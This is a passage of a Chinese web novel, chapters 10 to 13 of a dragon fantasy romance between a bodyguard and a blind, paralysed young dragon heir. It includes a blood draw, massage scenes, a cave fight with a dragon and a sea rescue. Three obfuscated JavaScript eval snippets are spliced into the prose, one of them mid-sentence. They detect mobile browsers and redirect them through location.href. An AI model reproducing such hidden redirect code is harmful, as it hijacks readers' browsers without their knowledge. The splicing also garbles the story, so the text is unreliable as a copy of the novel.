“我带了研究人员来,让他们帮你做个简单的检查,再抽你血带回去。实验室专家有个构想,如果能成功的话,也许你就不用和我试下去,也不用担心——” 他没说完,尾调拉长,若有所思的眼神从元起的脸上扫到小腹。 元起死死抠着轮椅扶手,沉默半晌,艰难开口。 “迟郁。” “……你先出去一下。” 10. 叫我名字 元季禹勾唇,一副得胜者的姿态冲他挑了挑眉。 迟郁恍若未见,俯身帮元起整理衣领。 滚烫的气息喷洒在元起的耳根,他用只有两个人能听到的声音开了口:“等下出了事别喊救命。” 元起低垂着纤长的睫毛,一副心虚的样子,任由他摆弄。 迟郁轻轻笑了:“直接叫我名字。” 元起猛地抬头,他已经转身大步流星向门外走去。 元季禹找来的两位研究员给元起做了个细致的检查。 “元少爷体内的游冶酶浓度还是很高,和三个月前相比只代谢了不足5%,照这个速度,全部代谢完恢复正常需要五年的时间。” 和上次吴医生说的无异。 “游冶酶是我们为您体内阻断神经递质的酶类的命名。”另一位研究员解释。 “但是,即便元少爷有最好的理疗师,坚持做复健,五年的时间,您的肌肉和神经会萎缩得非常严重,走路都成困难,更不用说游泳,飞翔……” 研究员带着医用手套,拆了个一次性针管,先是小心地看一眼元季禹,这才转向元起,“少爷,冒犯了,我们需要抽取您的血液进一步化验。” 衬衫袖口被解开翻起,元起乖乖翻转手臂,露出臂弯间青色的血管。 鲜红的血液顺着透明软管流进血袋里。 200ml的袋子许久才充满。 元起攥着拳头又松开,好让血液流的更快一些。 庄管家看得心疼,问:“需要这么多吗?化验是不是一部分就够了?少爷受伤本来就伤了元气。” 研究员拔了针,帮元起按着止血,元季禹收回了视线。 “庄管家,这也是为了阿起好,实验室需要足够多的样本。” 庄克沉默片刻:“我去嘱咐厨房炖点补血的帮少爷补补。” 两个研究员将血包和设备收进箱子里。 元季禹单膝蹲下来,贪恋地仰视着轮椅上的少年。 “阿起,我一定会研制出解药,让你恢复如初。” 元起白皙的指尖按着手肘处的棉签,闻言皱了眉。 “我说过了,别这么叫我。” 庄管家招呼两位研究员跟他出去,带上了门,屋内只剩两人。 “可我从小就这么叫你。阿起,”元季禹唇角的笑消失了,眉眼间一片病态占有欲,“不管你怎么想,我一定会助你成为新任家主,为你铲平一切阻碍。” 他的手缓缓附上元起白皙的指尖,元起触电般躲开,还未完全止血的伤口顿时涌出血来,顺着白皙的手臂蜿蜒而下。 元起不疾不徐地摸索着按住伤口。 “元季禹,我不需要你为我做任何事。” 元季禹眉眼间顿时阴鸷一片,他攥紧了拳,缓缓站直了。 “整个元氏,也只有我可以和你在一起了!”他蓦地撑住元起的轮椅,“不需要我?你需要谁?那个保镖?” 元季禹嗤笑:“他只是个卑劣的人类,连龙族的血统都没有!他只会毁掉你的纯种血脉。” 元起有些不适地皱眉。 “别忘了,你身上也有一半人类的血脉。” 窗玻璃上忽然传出一声脆响。 元季禹循声望去。 迟郁大喇喇坐在窗外的树杈上,他懒懒嚼着口香糖,见元季禹望过来,又弹了一颗小果子过来。 砰。 迟郁深邃的眉峰微挑,挑衅地笑笑。 元季禹的脸色阴沉得可怕。 他理了理衣领,最后留了一句话。 “阿起,总有一天你会明白,只有我才是真正能跟你并肩作战的人。” 迟郁再进来的时候,元起的伤口已经止住血。 沾在胳膊上的血液干涸成了暗红色,迟郁没说话,抽过湿巾,拉着元起的手腕一点点帮他擦拭干净。 望着他因为失血过多而苍白的脸庞和嘴唇。 “你就那么信任他吗?” 元起空洞的大眼睛望着他:“我没有选择,只能信任他。” 迟郁抱臂轻嗤,“就因为他也是龙?” “你们龙大脑皮层是不是都挺光滑。” 元起没有接话,低头沉默。 * 因为元起失血过多,元起每天固定三个小时的复健运动暂停了。 吴医生建议改为按摩推拿,这个重任就落在了迟郁肩上。 理疗师一开始认真指导迟郁,结果发现他手法专业无比,甚至比很多专业医生和推拿师更有耐力和持久力。 顿时惊了:“迟先生,你从前究竟是做什么工作的?” 简直六边形战士,恐怖如斯。 迟郁帮元起按捏着小腿的穴位,笑道:“为了生计,什么都做过一点。” 理疗师了然,不再多问,去浴室准备药浴熏蒸的材料。 为了方便按摩,元起衣服脱光了,只在腰部搭了条毛巾。迟郁粗糙地大掌抚触上去,元起肌肉匀称的白皙腿上瞬间现了红痕。 明明腿没有感觉,元起却死死抓着枕头把脸埋进去,涨红了耳根。 按摩完后腿部,迟郁照着推拿师的嘱咐准备把元起翻过来帮他按摩上半身,这才发现他像只煮熟的虾,原本白皙的皮肤都泛着一股诱人的粉。 迟郁托着他的下巴把人从枕头上救出来,有些好笑。 “少爷,你是打算把自己闷死吗?” 宽阔的大掌附上平摊的小腹的时候,元起不自觉瑟缩一下,绷出明显的腹肌轮廓。 迟郁停顿了一秒,有些意外地挑眉。 “看着挺瘦,身材还挺好。” “你!”元起顿时羞愤得快要融化,眼睛都蒙了一层水汽,亮晶晶的,煞是好看。 “你这人……怎么总是口无遮拦,胡说八道。” 迟郁的大掌犹如烘烤过的干柴,顺着他细白的皮肤一路向上,所过之处都燎起火辣刺痛感。 迟郁相当坦诚。 “怎么是胡说八道?我审美正常,勇于承认你好看,还能欣赏得了你的好看。有什么问题?” 他拎起元起的胳膊,按了两下少年的肌肉仍旧紧绷,皱眉不耐地拍了一巴掌,“放松。” 男人沉暗的嗓音带着撩人笑意:“又不是谁都像你一样,专喜欢丑东西。” 元起被他摆布来摆布去,早已没了气焰,脸红了个彻底。 没一会儿,迟郁又嗤笑一声,有意压低声音在他耳边:“少爷,你身上这么烫,等下不会直接化形了吧?这房间放得下吗……” 元起忍无可忍,清冷的声音带了丝愤然:“闭嘴!” 迟郁耸了耸肩,终于闭了嘴。 按完,理疗师通知药浴准备好了。 迟郁直起身,这才发现元起白皙劲瘦的身上满是深深浅浅的红痕,有些部位隐隐有破皮的痕迹。 迟郁有些惊异,一个男人,皮肤怎么能脆弱成这样。又有些怀疑的看着自己的手掌,宽大,骨节分明,手背青筋凸起,因为常年训练实战,掌心有不少薄茧。 是有点糙。 鬼使神差地,他问:“疼吗?” 元起正埋头试图将浴巾固定在腰间,闻言摇了摇头。 下一秒,迟郁径直将人横抱了起来。 元起猝不及防,手本能抓住他的肩膀:“你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325690|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟郁轻笑:“系那么紧做什么,等下又要脱。” 嘴被一双骨节分明,细腻却不柔软的手捂住了。 迟郁挑眉,呼出的热气和元起掌心的湿意相撞。 “你,”自幼被教授礼义廉耻的元起不能理解,“你到底是怎么长这么大的,怎么……什么话都说得出口。” 迟郁笑了,薄唇的震颤和气息激得元起缩回了手。 “男人堆里长大的粗人,没人教过那些忌讳。” 浴室巨大的池子里弥漫着一股浓郁的草药香,迟郁把元起轻轻放了进去,温热的掺杂了药液的水漫过红痕遍布的身体,他僵硬了一瞬。 迟郁秒懂:“疼了?” 元起忍耐着摇头,闭上了眼睛。 睫毛上却忽然被呼上一股热气,元起骤然睁大双眼。 那人凑得很近,探寻的声音落在耳边:“是有点破皮。” “皮肤受了伤,龙鳞也会受伤吗?” 元起不知道怎么跟他解释。后背紧紧贴上石壁,不知道为什么,他的靠近让元起浑身的毛孔都戒备,不知道是紧张还是兴奋。 元起调整着呼吸,心中反复默念。 他不着调,他不着调,他不着调。 他长得丑,他长得丑,他长得丑。 甚至在脑海里构筑了一张值得同情的丑脸。 做完心理建设,元起开了口:“不……” “会”还没脱口,绑了半天的浴巾就被那人一把扯下了。 男人的大掌还托了一把他的尾椎骨,免得他摔在池底。 迟郁一本正经:“变身我看看。” 元起:“……” * 接到徐舟客紧急呼叫的时候,迟郁刚用热水泡过澡,挫过掌心的死皮。 他对着床头的台灯看着自己发红的掌心,脑子里想的却是元起捂他嘴的掌心触感。 差别真大。 是因为他是龙吗…… 枕边的手机震了震,是紧急呼叫的模式。 迟郁径直接通。 “迟哥,我们派去盯梢元宅的线人被抓了。”徐舟客语速很快,“定位器显示是在后山山洞。” 他顿了一下,“那条龙也在,需要你支援。” 迟郁已经在往腰带上盘装备:“多久了。” “五分钟,检测到他生命体征异常,我第一时间请示总部通知你。” 装备好□□和匕首,迟郁偏头望向窗外静谧深蓝的天空。 不应该啊,天是有些阴,但是没有下雨的迹象,也没有雷声。 “知道了。” 按灭了通讯,迟郁径直去了后山。 越靠近洞口,越能闻到一股腥腐的气息,夹杂着血腥味。 迟郁用手电照亮栈道路面,碎石子铺就的路面上绵延了一路滴滴答答的血迹。 拨开洞口的草,舔舐咀嚼的声音放大,混合着野兽震颤的低吟。 迟郁皱了眉。他反手拔出匕首,轻喊了一声。 “元宝。” 下一秒,洞内的声音一顿,一条硕大的坚硬如铁的黑色尾巴甩了过来。 迟郁闪身躲过,手中的匕首精准戳中尾端鳞片与鳞片的缝隙间,迟郁用力执刀嵌紧,龙哀嚎嘶吼,巨大的头颅在洞内撞击得碎石遍地。 直到龙鳞被生生剜下来一块。 龙尾拍到洞口,碎石纷纷落下。 月光下,那条龙通体黑色,鳞片像是玄铁一般,漆黑光亮。 迟郁有片刻目眩。 他低头去看掌心发烫的黑色鳞片,尾端沾了点粘腻血迹。 和迟念翁留下的那片,极为相似。 11. 童话 没给迟郁反应的时间,被激怒的龙发出一声怒吼,黑暗中猛地冲了出来。 巨大的爪朝迟郁的胸口袭来,迟郁利落地下腰躲过。 他将鳞片塞入腰后的枪包中,扣动手电筒上的瞬发键。 迟郁视线死死盯着这条龙,手电微弱的灯光照亮下,极速略过的鳞片散发着漆黑的光,它的头上只有一只角,另一只像是被什么东西掰断了,断口处的痕迹并不齐整。 眼睛也瞎了一只,另一只眼底猩红如火山口,因为扑了空,瞳孔愤怒地竖起。 迟郁锐利的视线一错不错盯着,即将擦身而过的时候,他对着龙尾被剥了鳞片的破口处按下了电.击枪。 十几米长的龙身猛地僵直,剧烈震颤,嘶吼声在黑暗的山间回荡。 很快,它脱了力,像是将死的猛兽,直直向下砸了下来。 迟郁闪身躲开,动作间,腰间的T恤掀起,露出蜜色的窄腰和腹肌。 还未站直,头顶忽地传来一声更剧烈的嘶吼,声量之高,令人耳膜剧痛。 整座山体和脚下的大地几乎都跟着震颤起来。 迟郁抬手照过去。 一条比他见过的所有龙都大几倍的黑色巨龙极速俯冲下来,接住了倒下的龙。 巨龙肚皮擦着才修好的栈道而过,大量瓦片被刮落在地。 龙回头望了迟郁一眼,喷吐出的愤怒气息灼得迟郁微微眯起了双眼。 没多做停留,它驮着失了力的小龙远去。 口袋里的手机几乎是同时响起。 迟郁接通,对面传来徐舟客凝重的声音。 “迟哥。” 迟郁回头看了一眼洞中,躺着的人脑袋不知所踪,胸口也被掏空了大半,语调平淡。 “在。人没救下来。” * 将尸体放到后山隐蔽处,定位发给徐舟客。 回到主楼的时候,窗外炸出了一道惊雷。 迟郁蹙眉望了一眼,散落的棕色卷发贴在鬓角和脖颈处,他抬手向后捋了把。 手掌和衣服上的血迹已经干涸,泛着股令人作呕的腥臭。 快到房间门口,隔壁的房门忽然开了,轮椅压着地板缓缓出来,元起穿着白色宽大的居家服,黑色的发服帖下垂,那双漆黑的双瞳望向他。 迟郁下意识地在裤腿上蹭着掌心的脏污血迹。 “迟郁,你有没有事?” 元起嗅到他身上浓烈的血腥气,犹豫又急切地开口。 迟郁问:“你都听到了?那条黑色的龙是——” 话还没说完就被打断。 “以后,不管听到什么声音都不要随便出去查看了。”元起漂亮清秀的脸上格外严肃,“后山也不要再去。” 迟郁薄唇微张,听完,顶了顶腮帮,歪头嗤笑。 “你全都知道,是吗?” 身后传来急促的脚步声。 元宝跑的焦急,呼哧带喘:“迟哥你没……” “有个人死了,被龙咬掉了脑袋,掏空了内脏。” 迟郁语调平平。 元宝的脚步和声音戛然而止,惊望着对峙的两人。 一个站一个坐。 一个桀骜,一个孤寂。 轮椅上的人没有接话。 迟郁攥紧了拳。 “如果山洞里的那个人是我,你也这么无动于衷吗?” 元起猛地抬起头,苍白的唇翕动了一下,终究还是闭上了。 迟郁轻轻嗤笑一声,回头望向元宝,眸光极冷。 “你也全都知道?” 没等回答,迟郁径直进了房间。 房门被拍的震天响,在走廊里回荡。 元起双手抠着扶手,太过用力,本就白的手骨节泛着苍白。 元宝望着门板,纠结地看向元起:“少爷,迟哥他……” “他没事,不用管,回去吧。” “可……” 元宝还要说什么,元起已经按动轮椅向房间滑去。 轮椅险些撞上墙,元宝紧张地抬手,元起倏地刹住,调整方向回了房间。 第二天上午,迟郁罕见地没出门。 元起来敲门,好一会儿才从里面打开。 屋里弥漫着一股浅浅烟味儿。 窗户大开着,在风中弥散。 元起攥拳掩了掩口鼻。 迟郁抱臂倚着门,语气不善。 “说。” 元起循声望向他:“该推拿了。” 对面好一会儿没动静。 迟郁低沉的声音里带着微微诧异。 “还以为,你会让我走。” 元起蹙眉:“为什么这么想?” 迟郁耸了耸肩:“毕竟,我看了不该看的,说了不该说的。” 元起漆黑的双眸望着他的方向。 “那你会走吗?” “你不赶我就不走,毕竟,元家给的报酬足够高。” 迟郁倚着门,一副理所当然的语气。 元起移开了目光,默了片刻。 “去推拿吧。” 迟郁笑了。 “行。” 整整三个小时。 两个人像是置了气,一个闷声按,一个栽在枕头里憋着自己。 迟郁坏心眼地加重力道,白皙劲瘦的腰背上,才消减的红痕又加重。 元起死死攥着枕头,没吭一声。 迟郁看在眼里,自觉没趣地放轻了力道。 一上午没见庄管家。 给元起补身体的汤是保姆阿姨送来的。 迟郁有些惊异。 “庄管家怎么没在?” 元起坐在餐桌前,骨节分明的手指捏着瓷勺搅动了一下。 “他今天请假。” 这还是自推拿后他和迟郁说的第一句话。 迟郁眉间登时舒展开,愉快地啃了一口手中的苹果。 “我还以为庄管家不会离开你身边半步。” 元起手停了一下,接着搅动汤。 “庄管家为我付出很多,可他也有自己的家人和生活。” 迟郁不置可否,望着窗外啃苹果。 “下午我想出去一趟。” “不行,”迟郁径直拒绝,转头笑得恶劣,“少爷,别忘了,阻止你出门,是我的工作之一。” 元起漂亮的眉间蹙起,板了一天的脸终于增了几分潋滟色彩。 他语气有些强硬的坚持:“我有很重要的事。” “去哪?” “海城。” “行。” 元起还预备说什么,突然反应过来他答应了,眼睛不敢置信地睁大,显得有些呆萌。 迟郁隔了四五米精准地把苹果核投进元起脚边的垃圾桶,咚的一声。 保姆阿姨匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325691|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆探头看了一眼。 迟郁笑:“很惊讶?庄管家提的要求,他现在不在,我当然听你这个雇主的。” 说完就去洗手。 洗手间的门被拍上,元起停了好一会儿,才缓缓舀起一勺汤往嘴里送去。 海城是隔壁市,毗邻大海。 司机把车开到目的地,迟郁推着元起前行。 两个人来到海边一座书店。 房子是高塔的形状,如果不是从落地窗看得到里面几排摆满书的书架,很难想象这是个书店。 迟郁抬手按了门铃,几秒后,门锁轻轻弹开来。 迟郁推元起进入。 房间里弥漫着一股苦艾和鼠尾草的味道,不是很浓烈,和书籍的木香混杂,略微提神。 一个穿着棉麻质地宽大衬衫和黑色裤子的中年男人抱着一摞精装书走了过来。 “元少爷,您要的书全都做好了。” 说着,他将最顶上的一本递了过去。 “多谢。” 元起接过,翻开一页,修长的指尖抚了上去。 神情十分专注。 迟郁垂眸瞥一眼,字是特制的立体的,书名叫《神经递质与酶类作用》。 老板把剩下的递给了迟郁,最上面一本是《格林童话》。 迟郁挑眉,震得脑后的小揪揪也晃了晃。 ……有种带孩子的错觉。 出了门,迟郁还在止不住笑。 明明没出声。 元气漂亮的脸上却不自然地泛着绯红,羞赧道:“你到底在笑什么?” “你怎么知道我在笑?” “……轮椅在震。” “嗯?哦,”迟郁终于闷闷笑出声,“就是觉得,有种带孩子的错觉。” 眼看着元起放在扶手上的手攥紧了,迟郁赶忙停止笑。 “少爷,你竟然连《一千零一夜》、《格林童话》这些儿童读物都没看过没听过吗?” “随便一个睡前故事都觉得稀奇,到底是怎么长这么大的?” 他学着元起之前的语气问道。 “在外面别叫我少爷,”元起不甘示弱,“我有别的睡前故事。” “什么睡前故事?”迟郁追问,“你死活不愿意听的那个?” “你!”元起回头,瞪向迟郁。 “瞪我做什么,”迟郁揶揄,“给你讲了这么久的故事了,你也给我讲讲你们龙族童话故事?” 元起没有回答,目光落向前方。 海风带着咸腥的湿润气息吹动他额前的黑色碎发。 天已经暗下来,临近夜晚,海边似乎在举办篝火晚会,巨大的火堆燃烧出冲天光亮,照亮附近的海面和沙滩,人们围在一起,拉成一圈随着歌声跳舞。 其乐融融的氛围里,元起却面色肃然,皱紧了眉头。 “迟郁,”他抬手指了个方向,是没被篝火照亮的漆黑海面,“那边有人落水了。” 迟郁左边的眉峰一挑,略微有些惊讶地看过去。 漆黑的海面只有海浪在涌动,看不到别的。 “你从哪……” 远处的人群爆发出一阵剧烈的欢呼声。 迟郁收回目光,手里的轮椅已经空了。 最近的一浪几乎冲刷到他脚边,地上蜿蜒了一道很宽的痕迹。 迟郁低咒一声,没有犹豫,跟着跳入冰冷的海水中。 12. 渡气 冰冷咸腥的海水一下子弥漫住口鼻。 迟郁潜下去,抽出手电筒按亮,涌动的海水折射过的幽暗白光下,一条白龙的身影在前方蜿蜒,尾巴像是丝带一样拖着。 迟郁用力朝那个方向游去。 落水的是个小男孩。 元起看不见,只能凭着听觉和触须的探测摸索到他的位置,用脑袋顶着他的身体向上。 男孩呛饱了水,已经昏迷,根本不配合他的动作。 尝试多次也没能将男孩托出海面,元起有些急了,又怕抓伤人,不敢用龙爪。 龙角突然被猛地一拽。 触感温热,元起在咸腥味中嗅到一丝熟悉的气息。 迟郁一手捞过男孩携在左臂下,另一只手扒拉水向上游着,浮出水面。 才换了气,险些被浮出水面的巨大龙头撞翻。 浪打过来呛了迟郁一嘴。 他呛咳到嗓子沙哑,拉着元起的角:“变人。” 元起:“……” “等会儿救生队的就找过来了。你想被人看到?” 元起乖乖变成人形,腿无法踩水,当即就向下沉去。 迟郁捞了他一把,将他甩到自己背上:“抱紧我。” 元起乖乖地圈揽着他的脖子。 两人已经离岸很远,篝火像是连成线的星星。 游了太久,身上又拖了两个,饶是迟郁也有些吃力。 夜风吹着海浪掀起一浪浪震颤。 好几次还是呛进水。 身后一直搂着他的少年,左手圈着他的脖颈,右手反手摸了摸他的脸颊。 “迟郁。” 迟郁呼吸深重,胸口剧烈起伏着。 “嗯?” “回头。” 迟郁蹙眉,不懂这个时候少爷矫情是为何,顺从地回头。 清浅温热的气息拂过鼻尖,下一秒,带着点凉意湿润的柔软的唇贴了上来。 一触即离。 几不可查的气泡在嘴里炸开。 元起乖乖趴回他背上抱着。 迟郁在浪里浮浮沉沉,半晌没回过神。 “你——” 又一个巨浪打过来,三个人都被拍进了海水里。 迟郁急急把小孩捞起来,猛然发现自己在水里也能呼吸了。 他后知后觉反应过来。 “这也是你们龙的特异功能?” “只有我可以。” 元起缓缓回答。 “你经常对别人这样?” 迟郁又问。 元起没答,只是手揽得更紧一些,从后背汲取温度。 “你不冷吗?” 他说。 “先靠岸救人吧。” 没再说话,迟郁带着俩人靠了岸。 岸边集结的打捞队正要出发。 孩子的母亲已经哭得快昏过去,见迟郁带人靠了岸,众人急急围了过来。 有人给孩子做人工呼吸和心肺复苏,几分钟后,孩子吐出大量的水,哭了起来。 母亲抱着孩子,赶忙弓腰道谢。 “小宇,快谢谢两位哥哥。” 孩子揽着妈妈的脖子。 对着元起:“谢谢哥哥。” 又怯怯看向一脸凶相的迟郁:“谢谢叔叔。” “……” 迟郁瞬间皱眉:“凭什么他是哥哥我是……” 元起拉了拉他的衣角,迟郁愤愤然闭了嘴。 “妈妈,”孩子揽着母亲的脖子,声音沙哑,十分激动,“是龙救了我,我看到了龙!” “啊?你这孩子胡说什么,是这两个哥哥救了你。” “不是,真的是龙,白色的,那么大,可帅了!” 女人抱着孩子,不好意思地看向两人。 “抱歉啊,小孩子可能吓到了,他属龙的,从小就喜欢龙。小孩子容易分不清幻想和现实。” 迟郁摆摆手,用别人给的毯子把浑身湿透的元起裹起来。 轮椅早已不知所踪。 迟郁抱着元起往回走,手臂上挂着他订的那些书。 走着走着,迟郁忽然问。 “你经常这样亲别人吗?” 元起反应了一会儿,耳根稍红,认真解释:“是渡气,不是亲……我是为了救你。” “行,渡气,”迟郁顺着他,“你以前经常给别人渡气吗?” “救过一个孩子。”元起低垂着视线,“以前看得见,尾巴也没受伤,一般用不到。” 迟郁瞥一眼他漂亮的眼睛,喉结上下滚动一下,意味不明道:“反正,我是第一次跟人亲嘴。” 元起急了:“都说了,是渡气!” “行。你说是就是。” 走了一阵儿,迟郁又问。 “我还有个问题。” “什么?” 迟郁:“你为什么喜欢长得丑的?” 元起抬眸,眼底有着疑惑,尔后又缓缓移开了。 “我不会喜欢任何人。” 迟郁拧眉:“为什么?” “……反正就是不会。” 迟郁不服:“那我呢?” 元起想都没想:“你更不行。” 迟郁一噎,脸垮了下来,彻底不说话了。 第二天,庄管家回来了,径直带着元起进了会议室。 迟郁晨练回来,就看到元季禹穿着一身骚包的粉西装站门口,金色的长发和明显的五官轮廓在阳光里朦胧发光。 迟郁看着就来气,从园丁手里接过冲绿化带的高压水枪,借着给自己洗脸的由头,水洒了元季禹一身。 元季禹来不及闪躲,粉色的西服上洒满了深色的斑点,面庞上也沾满了水渍,顿时恼羞成怒。 “你干什么!” “哎哟,实在不好意思,”迟郁歪嘴,笑得一脸欠揍,“我刚运动完寻思洗把脸,不小心撒你身上了。” 元季禹阴沉着脸甩了甩衣襟,烦躁地掏出手帕擦拭脸庞。 迟郁抱臂嗤之以鼻。 “再怎么花枝招展的也没用,我家少爷说了,不想看见你,没事少来现眼。” 元季禹擦完水,沉沉的吐出一口气,嫌弃地直接把手帕扔进了垃圾桶。 进门前还被迟郁挡着撞了一下。 他运动完没洗澡,穿着无袖运动衫,元季禹登时皱了眉,太阳穴突突跳动两下。 “你,”他明显看不上迟郁,但是被气得不轻,“你才来几天,你懂什么?少自诩了解阿起。” 迟郁相当不屑。 他跟元起可是一起泡过澡亲过嘴的关系。 这人连少爷有恋丑癖都不知道。 迟郁有些同情他。 “你长这样,你就不行。” 这句话瞬间戳痛了精心打扮了的元季禹。 “我不行,难道你行?” 他本来不把这个男人放在眼里,一个保镖,本来就配不上从小被精心培养的元起,更何况,迟郁身上没有龙族的基因,根本对他构不成威胁。可是上次元起护着他的模样,实在是扎眼。 迟郁耸了耸肩。 “你还打扮,你起码得毁容重塑。” 他偏头把窗玻璃当镜子照了一眼自己。 虽然帅,但是再餐风露宿做阵子任务,万一有幸挂点彩,应该有下降空间。 还是他胜算高。 元季禹只当他在羞辱自己,险些背过气去。 更何况…… 迟郁指节搓了搓自己的唇,瞬间心情大好,晃荡着往房间走去。 一楼上了锁的会议室。 占据了整面墙的电视里,一闪而过的新闻画面播放着某个黑色的海面里若隐若现一条游动的白色身影。 女主播的声音铿锵有力。 “据目击者称, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325692|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在雨化海的海面拍到了神龙现世,和古老的传说中龙的形象几乎一致。专家称如果真的有龙的,龙能控雷控水,外壳坚硬无比,恐怕会成为已知物种中对人类威胁最大的……” 庄管家按停了暂停。 女主播的声音戛然而止。 “少爷,”庄管家叹息一声,语气里满是沉沉的无奈和愤恨,“你忘了,你是怎么受伤的了吗?” 元起的手死死抠着轮椅扶手。 双腿全然没有知觉,眼睛也看不见,他低下头,声音放的很轻。 “那个孩子……在求救。” “每天淹死的人数不胜数,你管得过来吗?”庄管家提高了音量,前所未有的痛心疾首和愤怒,“人类的命运让他们人类自己承担!他们明明不通水性,却偏要挑战大海!逼得我们龙族上了岸,为了融入他们,我们和人类通婚,生下来的孩子像是被诅咒了,人不人鬼不鬼,如今又视我们为威胁,人类又何曾放过我们龙族!” 元起被吓了一跳,蹙眉看向庄管家。 “我……” 他自觉做错了事,心底却仍留有余地。 “庄管家,万一,人类中,也有不害怕、不讨厌龙的人……” 迟郁不就是吗? 他在他面前化了形,迟郁不仅没被吓到,还帮他换衣服,给他烤鱼吃…… 庄管家却骤然抓住元起的肩膀。 “少爷!” “如果不是我们元氏这么多年苦心经营,势力足以掌控舆论,这条新闻一旦流出去,你知道后果吗?人类是会对龙族赶尽杀绝的!看看那些猛兽吧!关进笼子里,马戏团,实验室,狩猎场的,哪一个不是濒临灭绝,生不如死!想想上一任家主,你的父亲!你的腿,还有,我的儿子……” 庄克没再说下去。 元起猛地僵住了,他死死攥着拳,挫败地低下头去。 “庄管家,对不起……” “您没什么对不起我的,少爷。您肩负着整个龙族的厚望,日后,凡事还请三思。”庄克温柔地帮他整理好弄皱的衣服,又恢复了谦和温柔模样,“季禹少爷来了,去见一面吧。” 元起像是被抽空了力气,没有反驳。 上午阳光晴好,元季禹推着元起在花园散步。 被嘱咐不需要做任何事的迟郁一个人在房间里,目睹全部。 他烦躁地把垃圾桶踹倒又扶正,手机恰好震了震。 [联络员徐舟客:迟哥,线人的尸体已经收回送检了。根据伤口残留的DNA检测,攻击他的那条龙和之前袭击线人的那条,以及两年前鸣蛇实验室跑出的不明怪物应该是同一条。总部通知你做好准备,随时收网。] 迟郁抬眸,看一眼花园里的两人,一粉一白凑那么近,很是扎眼。 [联络员徐舟客:还有,蹲点的线人两次在鸣蛇实验室附近拍摄到元季禹,这个人肯定跟鸣蛇实验室有很深的关系,你盯紧一点。] 窗外,元季禹突然单手扶着元起的肩膀,侧耳听他说了句什么,然后笑着扯下前面的花,凑到元起面前。 元起没躲。 迟郁有些烦躁地“啧”了一声。 [森蚺队迟郁:问你个事。] [联络员徐舟客:迟哥你说。] [森蚺队迟郁:一个人如果亲了你,又不排斥别的男人亲近,他是什么意思?] [联络员徐舟客:……] 下一秒,聊天记录忽然被清空。 [系统消息:您的联络员怀疑您非本人,申请进行身份验证,请在人工介入之后进行扫脸问答验证,否则该机将被无限期锁定。验证通过后,可重新录入指纹、虹膜信息,取回权限。] [工号013已接入。] [OTBH客服013:您好,工号013,很高兴为您服务,请将脸置于摄像头范围内,禁止五官有任何遮挡。] 迟郁:“……” 13. 落雪国 好不容易通过了验证,迟郁脸色铁青。 徐舟客的消息又发了过来。 [联络员徐舟客:!!!卧槽迟哥,你被人亲了?!谁啊敢摘我们OTBH高岭之花?你那个小少爷雇主?你竟然没把他的头拧下来?] 徐舟客一连三个“卧槽”。 [联络员徐舟客:等一下,你没把他头拧下来???!] 那头沉默了好一会儿,似乎在迅速分析成因。 终于,消息又发了过来。 [联络员徐舟客:慎重啊迟哥,虽然元家少爷是长得好看,但是干我们这行的,最忌讳爱上雇主啊!] 迟郁直接回了他个“滚”。 他抬头,窗外花园里的两人已经不见了。 心头的烦躁更甚。 手机震了震。 [联络员徐舟客:认真说啊,据我的经验,如果对方亲了你,还故意跟别人走得近,要么就是你只是他众多鱼中的一条,要么,就是他在激你等你主动呢。] 总算说了句人话。 迟郁想脑海中过了一遍,元起身边没别人,元季禹他又不喜欢,除了他哪来的鱼。 那就只能是第二种。 男人脸上的神情肉眼可见的和缓下来。 那头徐舟客又弹了一条消息。 [联络员徐舟客:不过兄弟得提醒你一句,元家和鸣蛇这事马上收网了,这两家都太不寻常了,你最好还是收收心吧迟哥。哦对了,还有天虞山那块的传说,我发不出去,不过,你让齐镇用队长权限上内网搜索,应该也有。] 迟郁勾着的嘴角登时压平。 切断通讯,他想了想,还是给齐镇发了消息。 齐镇那边回的挺快,一个网页共享了过来,迟郁点开,第一行就让他皱起了眉。 落雪国是建立在巨龙遗骸之上的。 落雪国的诸多神话传说中,有个故事是《神龙降雪》。 巨龙陨落,落雪新生。 相传落雪国是流放罪不可赦的人类的地方,上天在此地降下天罚,落雪国终年受烈日炙烤,大地龟裂,寸草不生。吃的水需要走很远的路去挑,许多流放犯都死在了路上。 有天,一个化形成人的龙路过,不忍当地人受罪,于是化龙形引雷雨,落雪国终于被雨露滋润,不多久就绿意盎然,结满了粮食瓜果。 巨龙定居在落雪国天虞山。 解决了生计的落雪国子民之间开始流传恶龙霸占的天虞山是座宝山,山洞中藏有金银财宝。于是人类组建精壮的男子,派出了屠龙队,趁巨龙沉睡屠杀了巨龙。 